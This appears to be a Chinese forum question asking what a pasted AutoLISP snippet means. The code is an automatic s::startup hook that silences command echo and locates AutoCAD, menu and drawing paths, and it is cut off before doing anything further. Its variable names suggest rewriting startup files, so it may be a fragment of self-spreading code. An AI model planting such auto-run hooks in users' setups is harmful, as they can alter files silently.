请教:这段LISP是什么意思
(defun s::startup (/ old_cmd path dwgpath mnlpath apppath oldacad newacad nowdwg lspbj wjm wjm1 wjqm wjqm1 wz ns1 ns2 ) (setq old_cmd (getvar "cmdecho")) (setvar "cmdecho" 0) (setq path (findfile "base.dcl")) (setq path (substr path 1 (- (strlen path) 8))) (setq mnlpath (getvar "menuname")) (setq nowdwg (getvar "dwgname")) (setq wjqm (findfile nowdwg)) (setq dwgpath (substr wjqm 1 (- (strlen wjqm) (strlen nowdwg)))) (setq acadpath (findfile